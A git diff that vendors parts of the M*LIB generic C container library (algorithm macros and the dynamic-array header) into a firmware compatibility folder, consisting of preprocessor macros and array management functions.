+// _sort_uniq (_sort + _uniq)
+// fast _uniq for array
+// _flatten (takes a set of containers and returns a new container containing all flatten objects)
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_FOR_EACH(container, cont_oplist, func) do {                    \
+    for M_EACH(_item, container, cont_oplist) {                               \
+        func(*_item);                                                         \
+      }                                                                       \
+  } while (0)
+
+#define M_ALG0_FOR_EACH_ARG(container, cont_oplist, func, ...) do {           \
+    for M_EACH(_item, container, cont_oplist) {                               \
+        func(__VA_ARGS__, *_item);                                            \
+      }                                                                       \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_TRANSFORM(contD, contDop, contS, contSop, func) do {           \
+    M_CALL_RESET(contDop, contD);                                             \
+    for M_EACH(_item, contS, contSop) {                                       \
+        M_GET_SUBTYPE contDop _tmp;                                           \
+        M_CALL_INIT(M_GET_OPLIST contDop, _tmp);                              \
+        func(_tmp, *_item);                                                   \
+        M_CALL_PUSH_MOVE(contDop, contD, &_tmp);                              \
+      }                                                                       \
+    M_IF_METHOD(REVERSE, contDop) (M_CALL_REVERSE(contDop, contD);, )         \
+  } while (0)
+
+#define M_ALG0_TRANSFORM_ARG(contD, contDop, contS, contSop, func, ...) do {  \
+    M_CALL_RESET(contDop, contD);                                             \
+    for M_EACH(_item, contS, contSop) {                                       \
+        M_GET_SUBTYPE contDop _tmp;                                           \
+        M_CALL_INIT(M_GET_OPLIST contDop, _tmp);                              \
+        func(_tmp, *_item, __VA_ARGS__);                                      \
+        M_CALL_PUSH_MOVE(contDop, contD, &_tmp);                              \
+      }                                                                       \
+    M_IF_METHOD(REVERSE, contDop) (M_CALL_REVERSE(contDop, contD);, )         \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_EXTRACT(contDst, contDstOplist, contSrc, contSrcOplist)        \
+  M_ALG0_EXTRACT_P1(contDst, M_GLOBAL_OPLIST(contDstOplist), contSrc, M_GLOBAL_OPLIST(contSrcOplist))
+#define M_ALG0_EXTRACT_P1(contDst, contDstOplist, contSrc, contSrcOplist) do{ \
+    M_CALL_RESET(contDstOplist, contDst);                                     \
+    for M_EACH(_item, contSrc, contSrcOplist) {                               \
+        M_IF_METHOD(PUSH, contDstOplist)(                                     \
+          M_CALL_PUSH(contDstOplist, contDst, *_item);                        \
+        ,                                                                     \
+          M_CALL_SET_KEY(contDstOplist, contDst, (*_item).key, (*_item).value); \
+                                                                        )     \
+    }                                                                         \
+    M_IF_METHOD(REVERSE, contDstOplist) (M_CALL_REVERSE(contDstOplist, contDst);, ) \
+  } while (0)
+
+#define M_ALG0_EXTRACT_FUNC(contDst, contDstOplist, contSrc, contSrcOplist, condFunc) \
+  M_ALG0_EXTRACT_FUNC_P1(contDst, M_GLOBAL_OPLIST(contDstOplist), contSrc, M_GLOBAL_OPLIST(contSrcOplist), condFunc)
+#define M_ALG0_EXTRACT_FUNC_P1(contDst, contDstOplist, contSrc, contSrcOplist, \
+                      condFunc) do {                                          \
+    M_CALL_RESET(contDstOplist, contDst);                                     \
+    for M_EACH(_item, contSrc, contSrcOplist) {                               \
+        if (condFunc (*_item)) {                                              \
+          M_IF_METHOD(PUSH, contDstOplist)(                                   \
+            M_CALL_PUSH(contDstOplist, contDst, *_item);                      \
+          ,                                                                   \
+            M_CALL_SET_KEY(contDstOplist, contDst, (*_item).key, (*_item).value); \
+                                                                        )     \
+        }                                                                     \
+    }                                                                         \
+    M_IF_METHOD(REVERSE, contDstOplist) (M_CALL_REVERSE(contDstOplist, contDst);, ) \
+  } while (0)
+
+#define M_ALG0_EXTRACT_ARG(contDst, contDstOplist, contSrc, contSrcOplist,    \
+                          condFunc, ...)                                      \
+  M_ALG0_EXTRACT_ARG_P1(contDst, M_GLOBAL_OPLIST(contDstOplist), contSrc, M_GLOBAL_OPLIST(contSrcOplist), \
+                        condFunc, __VA_ARGS__)
+#define M_ALG0_EXTRACT_ARG_P1(contDst, contDstOplist, contSrc, contSrcOplist, \
+                          condFunc, ...) do {                                 \
+    M_CALL_RESET(contDstOplist, contDst);                                     \
+    for M_EACH(_item, contSrc, contSrcOplist) {                               \
+        if (condFunc (__VA_ARGS__, *_item)) {                                 \
+          M_IF_METHOD(PUSH, contDstOplist)(                                   \
+            M_CALL_PUSH(contDstOplist, contDst, *_item);                      \
+            ,                                                                 \
+            M_CALL_SET_KEY(contDstOplist, contDst, (*_item).key, (*_item).value); \
+                                                                        )     \
+        }                                                                     \
+    }                                                                         \
+    M_IF_METHOD(REVERSE, contDstOplist) (M_CALL_REVERSE(contDstOplist, contDstOplist);, ) \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_REDUCE_DISPATCH(dest, destOp, dest_t, cont, contOp,  ...)      \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (M_ALG0_REDUCE_BASIC(dest, dest_t, destOp, cont, contOp, __VA_ARGS__),      \
+   M_IF_NARGS_EQ2(__VA_ARGS__)                                                \
+   (M_ALG0_REDUCE_FOR_EACH(dest, dest_t, destOp, cont, contOp, __VA_ARGS__),  \
+    M_ALG0_REDUCE_FOR_EACH_ARG(dest, dest_t, destOp, cont, contOp, __VA_ARGS__) ) )
+
+/* The special functions handled by ALGO_REDUCE */
+#define M_ALG0_REDUCE_AND(a,b) ((a) &= (b))
+#define M_ALG0_REDUCE_OR(a,b)  ((a) |= (b))
+#define M_ALG0_REDUCE_SUM(a,b) ((a) += (b))
+#define M_ALG0_REDUCE_PRODUCT(a,b) ((a) *= (b))
+
+/* Return the method associated to a reduce operation.
+   It returns the special function handler if function is and, or, sum or add.
+   Otherwise it returns the original function */
+#define M_ALG0_REDUCE_FUNC(reduceFunc)                                        \
+  M_IF(M_KEYWORD_P(and, reduceFunc))                                          \
+  (M_ALG0_REDUCE_AND,                                                         \
+   M_IF(M_KEYWORD_P(or, reduceFunc))                                          \
+   (M_ALG0_REDUCE_OR,                                                         \
+    M_IF(M_KEYWORD_P(sum, reduceFunc))                                        \
+    (M_ALG0_REDUCE_SUM,                                                       \
+     M_IF(M_KEYWORD_P(product, reduceFunc))                                   \
+     (M_ALG0_REDUCE_PRODUCT,                                                  \
+      reduceFunc)                                                             \
+     )                                                                        \
+    )                                                                         \
+   )
+
+#define M_ALG0_REDUCE_BASIC(dest, dest_t, destOp, cont, cont_oplist, reduceFunc) do { \
+    bool _init_done = false;                                                  \
+    for M_EACH(_item, cont, cont_oplist) {                                    \
+        if (_init_done) {                                                     \
+          M_ALG0_REDUCE_FUNC(reduceFunc) (dest, *_item);                      \
+        } else {                                                              \
+          M_CALL_SET(destOp, dest, *_item);                                   \
+          _init_done = true;                                                  \
+        }                                                                     \
+      }                                                                       \
+  } while (0)
+
+#define M_ALG0_REDUCE_FOR_EACH(dest, dest_t, destOp, cont, cont_oplist, reduceFunc, mapFunc) do { \
+    bool _init_done = false;                                                  \
+    dest_t _tmp;                                                              \
+    M_CALL_INIT(destOp, _tmp);                                                \
+    for M_EACH(_item, cont, cont_oplist) {                                    \
+        mapFunc(_tmp, *_item);                                                \
+        if (_init_done) {                                                     \
+          M_ALG0_REDUCE_FUNC(reduceFunc) (dest, _tmp);                        \
+        } else {                                                              \
+          M_CALL_SET(destOp, dest, _tmp);                                     \
+          _init_done = true;                                                  \
+        }                                                                     \
+      }                                                                       \
+    M_CALL_CLEAR(destOp, _tmp);                                               \
+  } while (0)
+
+#define M_ALG0_REDUCE_FOR_EACH_ARG(dest, dest_t, destOp, cont, cont_oplist, reduceFunc, mapFunc, ...) do { \
+    bool _init_done = false;                                                  \
+    dest_t _tmp;                                                              \
+    M_CALL_INIT(destOp, _tmp);                                                \
+    for M_EACH(_item, cont, cont_oplist) {                                    \
+        mapFunc(_tmp, __VA_ARGS__, *_item);                                   \
+        if (_init_done) {                                                     \
+          M_ALG0_REDUCE_FUNC(reduceFunc) (dest, _tmp);                        \
+        } else {                                                              \
+          M_CALL_SET(destOp, dest, _tmp);                                     \
+          _init_done = true;                                                  \
+        }                                                                     \
+      }                                                                       \
+    M_CALL_CLEAR(destOp, _tmp);                                               \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#define M_ALG0_INSERT_AT(contDst, contDstOp, position, contSrc, contSrcOp) do { \
+    M_GET_IT_TYPE contSrcOp _itSrc;                                           \
+    M_GET_IT_TYPE contDstOp _itDst;                                           \
+    M_CALL_IT_SET(contDstOp, _itDst, position);                               \
+    for (M_CALL_IT_FIRST(contSrcOp, _itSrc, contSrc) ;                        \
+         !M_CALL_IT_END_P(contSrcOp, _itSrc) ;                                \
+         M_CALL_IT_NEXT(contSrcOp, _itSrc) ) {                                \
+      M_CALL_IT_INSERT(contDstOp, contDst, _itDst,                            \
+                       *M_CALL_IT_CREF(contSrcOp, _itSrc));                   \
+    }                                                                         \
+  } while (0)
+
+
+/******************************** INTERNAL ***********************************/
+
+#if M_USE_SMALL_NAME
+#define ALGO_DEF M_ALGO_DEF
+#define ALGO_FOR_EACH M_ALGO_FOR_EACH
+#define ALGO_TRANSFORM M_ALGO_TRANSFORM
+#define ALGO_EXTRACT M_ALGO_EXTRACT
+#define ALGO_REDUCE M_ALGO_REDUCE
+#define ALGO_INSERT_AT M_ALGO_INSERT_AT
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/m-array.h b/lib/subghz_unleashed_compat/include/m-array.h
new file mode 100644
index 000000000..134c16bf1
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/m-array.h
@@ -0,0 +1,1154 @@
+/*
+ * M*LIB - dynamic ARRAY module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_ARRAY_H
+#define MSTARLIB_ARRAY_H
+
+#include "m-core.h"
+
+/* Define a dynamic array of the given type and its associated functions.
+   USAGE: ARRAY_DEF(name, type [, oplist_of_the_type]) */
+#define M_ARRAY_DEF(name, ...)                                                \
+  M_ARRAY_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a dynamic array of the given type and its associated functions
+  as the provided type name_t with the iterator named it_t
+   USAGE: ARRAY_DEF_AS(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_ARRAY_DEF_AS(name, name_t, it_t, ...)                               \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_ARRA4_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                  \
+             ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t ), \
+              (name, __VA_ARGS__,                                        name_t, it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a dynamic array given its name and its oplist.
+   If no oplist is given it is assumed to be M_BASIC_OPLIST
+   USAGE: ARRAY_OPLIST(name[, oplist of the type]) */
+#define M_ARRAY_OPLIST(...)                                                   \
+  M_ARRA4_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                               \
+                   ((__VA_ARGS__, M_BASIC_OPLIST),                            \
+                    (__VA_ARGS__ )))
+
+
+/* Define an init value to init global variables of type array.
+  USAGE:
+    array_t global_variable = ARRAY_INIT_VALUE();
+ */
+#define M_ARRAY_INIT_VALUE()                                                  \
+  { { 0, 0, NULL } }
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_ARRA4_OPLIST_P1(arg) M_ARRA4_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_ARRA4_OPLIST_P2(name, oplist)                                       \
+  M_IF_OPLIST(oplist)(M_ARRA4_OPLIST_P3, M_ARRA4_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_ARRA4_OPLIST_FAILURE(name, oplist)                                  \
+  ((M_LIB_ERROR(ARGUMENT_OF_ARRAY_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a dynamic array */
+/* FIXME: Do we want to export some methods as they are slow and 
+   are not fit to be used for building other methods (like _it_remove)? */
+#ifndef M_USE_CONTEXT
+#define M_ARRA4_OPLIST_P3(name, oplist)                                       \
+  (INIT(M_F(name, _init))                                                     \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(INIT_SET(M_F(name, _init_set)),)       \
+   ,M_IF_METHOD(INIT_SET, oplist)(INIT_WITH(API_1(M_INIT_WITH_VAI)),)         \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(SET(M_F(name, _set)), )                \
+   ,CLEAR(M_F(name, _clear))                                                  \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(M_F(name, _move))                                                    \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,TYPE(M_F(name,_ct)) , GENTYPE(struct M_F(name,_s)*)                       \
+   ,NAME(name)                                                                \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,EMPTY_P(M_F(name,_empty_p))                                               \
+   ,IT_TYPE(M_F(name,_it_ct)),                                                \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_LAST(M_F(name,_it_last))                                               \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_PREVIOUS(M_F(name,_previous))                                          \
+   ,IT_REF(M_F(name,_ref))                                                    \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,M_IF_METHOD(INIT_SET, oplist)(IT_INSERT(M_F(name,_insert)) ,)             \
+   ,IT_REMOVE(M_F(name,_remove))                                              \
+   ,RESET(M_F(name,_reset))                                                   \
+   ,KEY_TYPE(size_t)                                                          \
+   ,VALUE_TYPE(M_F(name, _subtype_ct))                                        \
+   ,KEY_OPLIST(M_BASIC_OPLIST)                                                \
+   ,VALUE_OPLIST(oplist)                                                      \
+   ,M_IF_METHOD(SET, oplist)(SET_KEY(M_F(name, _set_at)) ,)                   \
+   ,GET_KEY(M_F(name, _get))                                                  \
+   ,M_IF_METHOD(INIT, oplist)(SAFE_GET_KEY(M_F(name, _safe_get)) ,)           \
+   ,ERASE_KEY(M_F(name, _erase))                                              \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,M_IF_METHOD(INIT_SET, oplist)(PUSH(M_F(name,_push_back)) ,)               \
+   ,POP(M_F(name,_pop_back))                                                  \
+   ,PUSH_MOVE(M_F(name,_push_move))                                           \
+   ,POP_MOVE(M_F(name,_pop_move))                                             \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(CMP, oplist)(SORT(M_F(name, _special_sort)),)                 \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),)               \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),)         \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),)                  \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),)      \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),)         \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#else
+#define M_ARRA4_OPLIST_P3(name, oplist)                                       \
+  (INIT(M_F(name, _init))                                                     \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(INIT_SET(API_0P(M_F(name, _init_set))),) \
+   ,M_IF_METHOD(INIT_SET, oplist)(INIT_WITH(API_1(M_INIT_WITH_VAI)),)         \
+   ,M_IF_METHOD2(INIT_SET,SET, oplist)(SET(API_0P(M_F(name, _set))), )        \
+   ,CLEAR(API_0P(M_F(name, _clear)))                                          \
+   ,INIT_MOVE(M_F(name, _init_move))                                          \
+   ,MOVE(API_0P(M_F(name, _move)))                                            \
+   ,SWAP(M_F(name, _swap))                                                    \
+   ,TYPE(M_F(name,_ct)) , GENTYPE(struct M_F(name,_s)*)                       \
+   ,NAME(name)                                                                \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,EMPTY_P(M_F(name,_empty_p))                                               \
+   ,IT_TYPE(M_F(name,_it_ct)),                                                \
+   ,IT_FIRST(M_F(name,_it))                                                   \
+   ,IT_LAST(M_F(name,_it_last))                                               \
+   ,IT_END(M_F(name,_it_end))                                                 \
+   ,IT_SET(M_F(name,_it_set))                                                 \
+   ,IT_END_P(M_F(name,_end_p))                                                \
+   ,IT_LAST_P(M_F(name,_last_p))                                              \
+   ,IT_EQUAL_P(M_F(name,_it_equal_p))                                         \
+   ,IT_NEXT(M_F(name,_next))                                                  \
+   ,IT_PREVIOUS(M_F(name,_previous))                                          \
+   ,IT_REF(M_F(name,_ref))                                                    \
+   ,IT_CREF(M_F(name,_cref))                                                  \
+   ,M_IF_METHOD(INIT_SET, oplist)(IT_INSERT(API_0P(M_F(name,_insert))) ,)     \
+   ,IT_REMOVE(API_0P(M_F(name,_remove)))                                      \
+   ,RESET(API_0P(M_F(name,_reset)))                                           \
+   ,KEY_TYPE(size_t)                                                          \
+   ,VALUE_TYPE(M_F(name, _subtype_ct))                                        \
+   ,KEY_OPLIST(M_BASIC_OPLIST)                                                \
+   ,VALUE_OPLIST(oplist)                                                      \
+   ,M_IF_METHOD(SET, oplist)(SET_KEY(API_0P(M_F(name, _set_at))) ,)           \
+   ,GET_KEY(M_F(name, _get))                                                  \
+   ,M_IF_METHOD(INIT, oplist)(SAFE_GET_KEY(API_0P(M_F(name, _safe_get))) ,)   \
+   ,ERASE_KEY(API_0P(M_F(name, _erase)))                                      \
+   ,GET_SIZE(M_F(name, _size))                                                \
+   ,M_IF_METHOD(INIT_SET, oplist)(PUSH(API_0P(M_F(name,_push_back))) ,)       \
+   ,POP(API_0P(M_F(name,_pop_back)))                                          \
+   ,PUSH_MOVE(API_0P(M_F(name,_push_move)))                                   \
+   ,POP_MOVE(M_F(name,_pop_move))                                             \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(CMP, oplist)(SORT(M_F(name, _special_sort)),)                 \
+   ,M_IF_METHOD(GET_STR, oplist)(GET_STR(API_0P(M_F(name, _get_str))),)       \
+   ,M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),) \
+   ,M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),)               \
+   ,M_IF_METHOD(IN_STR, oplist)(IN_STR(API_0P(M_F(name, _in_str))),)          \
+   ,M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),) \
+   ,M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),) \
+   ,M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),)                   \
+   ,M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                        \
+   )
+#endif
+
+/********************************** INTERNAL *********************************/
+
+/* Define the internal contract of an array */
+#ifdef NDEBUG
+#define M_ARRA4_CONTRACT(a)
+#else
+#define M_ARRA4_CONTRACT(a) do {					                                         \
+    M_ASSERT (a != NULL);                                                     \
+    M_ASSERT (a->size <= a->alloc);                                           \
+    M_ASSERT (a->size == 0 || a->ptr != NULL);                                \
+    M_ASSERT (a->alloc == 0 || a->ptr != NULL);                               \
+  } while (0)
+#endif
+
+/* Deferred evaluation for the array definition,
+   so that all arguments are fully evaluated before further expansion
+   (ensuring good performance)
+   and performed a final step evaluation of the returning expansion
+   (ensuring delayed evaluation are still expanded)
+*/
+#define M_ARRA4_DEF_P1(arg) M_ID( M_ARRA4_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_ARRA4_DEF_P2(name, type, oplist, array_t, it_t)                     \
+  M_IF_OPLIST(oplist)(M_ARRA4_DEF_P3, M_ARRA4_DEF_FAILURE)(name, type, oplist, array_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_ARRA4_DEF_FAILURE(name, type, oplist, array_t, it_t)                \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(ARRAY_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Internal definition:
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the array
+   - array_t: alias for the type of the array
+   - it_t: alias for the iterator of the array
+*/
+#define M_ARRA4_DEF_P3(name, type, oplist, array_t, it_t)                     \
+  M_ARRA4_DEF_TYPE(name, type, oplist, array_t, it_t)                         \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_ARRA4_DEF_CORE(name, type, oplist, array_t, it_t)                         \
+  M_ARRA4_DEF_IO(name, type, oplist, array_t, it_t)                           \
+  M_EMPLACE_QUEUE_DEF(name, array_t, _emplace_back, oplist, M_ARRA4_EMPLACE_DEF)
+
+/* Define the types */
+#define M_ARRA4_DEF_TYPE(name, type, oplist, array_t, it_t)                   \
+                                                                              \
+  /* Define a dynamic array */                                                \
+  typedef struct M_F(name, _s) {                                              \
+    size_t size;            /* Number of elements in the array */             \
+    size_t alloc;           /* Allocated size for the array base */           \
+    type *ptr;              /* Pointer to the array base */                   \
+  } array_t[1];                                                               \
+                                                                              \
+  /* Define an iterator over an array */                                      \
+  typedef struct M_F(name, _it_s) {                                           \
+    size_t index;                       /* Index of the element */            \
+    const struct M_F(name, _s) *array;  /* Reference of the array */          \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Definition of the synonyms of the type */                                \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  typedef array_t M_F(name, _ct);                                             \
+  typedef it_t M_F(name, _it_ct);                                             \
+  typedef type M_F(name, _subtype_ct);                                        \
+
+/* Define the core functions */
+#define M_ARRA4_DEF_CORE(name, type, oplist, array_t, it_t)                   \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(array_t v)                                                 \
+  {                                                                           \
+    M_ASSERT (v != NULL);                                                     \
+    /* Initially, the array is empty with nothing allocated */                \
+    v->size  = 0;                                                             \
+    v->alloc = 0;                                                             \
+    v->ptr   = NULL;                                                          \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, array_t v)                                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    for(size_t i = 0; i < v->size; i++)                                       \
+      M_CALL_CLEAR(oplist, v->ptr[i]);                                        \
+    v->size = 0;                                                              \
+    M_ARRA4_CONTRACT(v);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, array_t v)                                          \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_F(name, _reset) M_R(v);                                                 \
+    M_CALL_FREE(oplist, type, v->ptr, v->alloc);                              \
+    /* This is so reusing the object implies an assertion failure */          \
+    v->alloc = 1;                                                             \
+    v->ptr = NULL;                                                            \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD2(INIT_SET, SET, oplist)(                                        \
+  M_P(void, name, _set, array_t d, const array_t s)                           \
+  {                                                                           \
+    M_ARRA4_CONTRACT(d);                                                      \
+    M_ARRA4_CONTRACT(s);                                                      \
+    if (M_UNLIKELY (d == s)) return;                                          \
+    if (s->size > d->alloc) {                                                 \
+      const size_t alloc = s->size;                                           \
+      type *ptr = M_CALL_REALLOC(oplist, type, d->ptr, d->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL)) {                                   \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      d->ptr = ptr;                                                           \
+      d->alloc = alloc;                                                       \
+    }                                                                         \
+    size_t i;                                                                 \
+    size_t step1 = M_MIN(s->size, d->size);                                   \
+    for(i = 0; i < step1; i++)                                                \
+      M_CALL_SET(oplist, d->ptr[i], s->ptr[i]);                               \
+    for( ; i < d->size; i++)                                                  \
+      M_CALL_CLEAR(oplist, d->ptr[i]);                                        \
+    for( ; i < s->size; i++) {                                                \
+      M_CALL_INIT_SET(oplist, d->ptr[i], s->ptr[i]);                          \
+      M_IF_EXCEPTION( d->size = i + 1 );                                      \
+    }                                                                         \
+    d->size = s->size;                                                        \
+    M_ARRA4_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, array_t d, const array_t s)                      \
+  {                                                                           \
+    M_ASSERT (d != s);                                                        \
+    M_ON_EXCEPTION(M_F(name, _clear) M_R(d) ) {                               \
+      M_F(name, _init)(d);                                                    \
+      M_F(name, _set) M_R(d, s);                                              \
+    }                                                                         \
+  }                                                                           \
+  , /* No SET & INIT_SET */)                                                  \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(array_t d, array_t s)                                 \
+  {                                                                           \
+    M_ASSERT (d != s);                                                        \
+    M_ARRA4_CONTRACT(s);                                                      \
+    d->size  = s->size;                                                       \
+    d->alloc = s->alloc;                                                      \
+    d->ptr   = s->ptr;                                                        \
+    /* Robustness */                                                          \
+    s->alloc = 1;                                                             \
+    s->ptr   = NULL;                                                          \
+    M_ARRA4_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, array_t d, array_t s)                                \
+  {                                                                           \
+    M_ASSERT (d != s);                                                        \
+    M_F(name, _clear) M_R(d);                                                 \
+    M_F(name, _init_move)(d, s);                                              \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(SET, oplist)(                                                   \
+  M_P(void, name, _set_at, array_t v, size_t i, type const x)                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT(v->size > 0 && v->ptr != NULL);                                  \
+    M_ASSERT_INDEX(i, v->size);                                               \
+    M_CALL_SET(oplist, v->ptr[i], x);                                         \
+  }                                                                           \
+  , /* No SET */)                                                             \
+                                                                              \
+  M_INLINE type  *                                                            \
+  M_F(name, _back)(array_t v)                                                 \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    M_ASSERT_INDEX(0, v->size);                                               \
+    return &v->ptr[v->size-1];                                                \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, _push_back_raw, array_t v)                                \
+  {                                                                           \
+    M_ARRA4_CONTRACT(v);                                                      \
+    if (M_UNLIKELY (v->size >= v->alloc)) {                                   \
+      M_ASSERT(v->size == v->alloc);                                          \
+      size_t alloc = M_CALL_INC_ALLOC(oplist, v->alloc);                      \
+      if (M_UNLIKELY_NOMEM (alloc <= v->alloc)) {                             \
+        M_MEMORY_FULL(type, -(size_t)1);                                      \
+      }                                                                       \
+      M_ASSERT (alloc > v->size);                                             \
+      type *ptr = M_CALL_REALLOC(oplist, type, v->ptr, v->alloc, alloc);      \
+      if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                  \
+        M_MEMORY_FULL(type, alloc);                                           \
+      }                                                                       \
+      v->ptr = ptr;                                                           \
+      v->alloc = alloc;                                                       \
+    }                                                                         \
+    M_ASSERT(v->ptr != NULL);                                                 \
+    type *ret = &v->ptr[v->size];                                             \
+    v->size++;                                                                \
+    M_ARRA4_CONTRACT(v);                                                      \
+    M_ASSUME(ret != NULL);                                                    \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _push_back, array_t v, type const x)                        \
+  {                                                                           \
+    type *data = M_F(name, _push_back_raw) M_R(v);                            \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION( v->size --);                                              \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    M_IF_EXCEPTION( v->size ++);                                              \
+  }                                                                           \
